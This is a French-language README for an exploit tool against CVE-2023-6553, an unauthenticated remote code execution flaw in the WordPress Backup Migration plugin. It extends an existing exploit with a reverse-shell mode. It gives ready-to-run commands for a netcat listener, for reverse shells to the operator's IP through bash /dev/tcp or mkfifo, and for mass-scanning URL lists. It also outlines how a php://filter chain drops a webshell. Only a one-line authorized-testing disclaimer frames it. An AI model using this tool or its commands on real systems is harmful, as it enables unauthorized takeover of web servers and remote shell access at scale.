
Cet exploit est basé sur CVE-2023-6553 et a été construit à partir de l'exploit original de Chocapik, il a été ajouté qu'un reverse shell direct peut être obtenu.
Une version étendue de l'exploit CVE-2023-6553 de Chocapikk qui ajoute un mode reverse shell en une commande en plus du webshell interactif original.
CVE-2023-6553 — Exécution de code à distance non authentifiée dans le plugin WordPress Backup Migration (versions ≤ 1.3.7).
Le plugin expose backup-heart.php, qui lit une chaîne de filtres PHP depuis l'en-tête HTTP Content-Dir et la passe à include() sans authentification ni nettoyage. Cela permet à un attaquant non authentifié d'exécuter du code PHP arbitraire en injectant une chaîne php://filter élaborée.
Exploit original par Chocapikk — toute la logique d'exploitation centrale (génération de chaînes de filtres, écriture de fichiers, shell interactif) est son travail. Ce dépôt ne fait que l'étendre avec un mode déclencheur de reverse shell.
Les seuls ajouts sont :
trigger_reverse_shell() — après le déploiement du webshell (même processus que l'original), envoie une unique requête GET avec la commande de reverse shell comme paramètre 0, exactement comme le ferait le shell interactif.main() — remplace interactive_shell() par trigger_reverse_shell() quand -r est présent.Tout le reste — vérification de vulnérabilité, boucle d'écriture de fichiers, copie/suppression, mode interactif, scan multi-URL — est inchangé par rapport à l'original.
pip install requests rich alive-progress prompt-toolkit php-filter-chain
# Lancez d'abord votre listener
rlwrap nc -lvnp 4444
# Exécutez l'exploit
python3 exploit.py -u http://TARGET/blog -r -l VOTRE_IP -p 4444
Si bash /dev/tcp n'est pas disponible sur la cible, utilisez mkfifo (dépend de nc) :
python3 exploit.py -u http://TARGET/blog -r -l VOTRE_IP -p 4444 --shell mkfifo
python3 exploit.py -u http://TARGET/blog
python3 exploit.py -u http://TARGET/blog -c
python3 exploit.py -f urls.txt -t 10 -o vulnerable.txt
-u / --url URL de base cible (ex. http://target/blog)
-r / --revshell Activer le mode reverse shell
-l / --lhost Votre IP pour recevoir le shell (obligatoire avec -r)
-p / --lport Votre port d'écoute (défaut : 4444)
--shell Type de shell : bash (défaut) ou mkfifo
-c / --check Vérifier la vulnérabilité seulement, ne pas déployer le shell
-f / --file Fichier contenant une liste d'URL à scanner
-t / --threads Threads pour le scan multi-URL (défaut : 5)
-o / --output Fichier de sortie pour les résultats du scan
1. POST /wp-content/plugins/backup-backup/includes/backup-heart.php
Content-Dir: php://filter/...<PHP encodé>
→ Écrit le webshell caractère par caractère dans un fichier temporaire
→ Copie le fichier temporaire vers <random>.php
2. GET /wp-content/plugins/backup-backup/includes/<random>.php?0=<commande>
→ Exécute la commande via l'opérateur backtick
→ Mode interactif : boucle lisant les commandes depuis stdin
→ Mode reverse shell : envoie une ligne de commande bash/mkfifo, se connecte au listener
3. Nettoyage : unlink(<random>.php)
Cet outil est destiné uniquement aux tests de pénétration autorisés et à la recherche en sécurité. Ne l'utilisez pas contre des systèmes pour lesquels vous n'avez pas d'autorisation explicite de tester.
| Fonctionnalité | Original (Chocapikk) | Cette version |
|---|
| Webshell interactif | ✅ | ✅ (inchangé) |
| Reverse shell | ❌ | ✅ (-r) |
| Scan multi-URL | ✅ | ✅ (inchangé) |
| Nouveaux arguments | — | -r, -l, -p, --shell |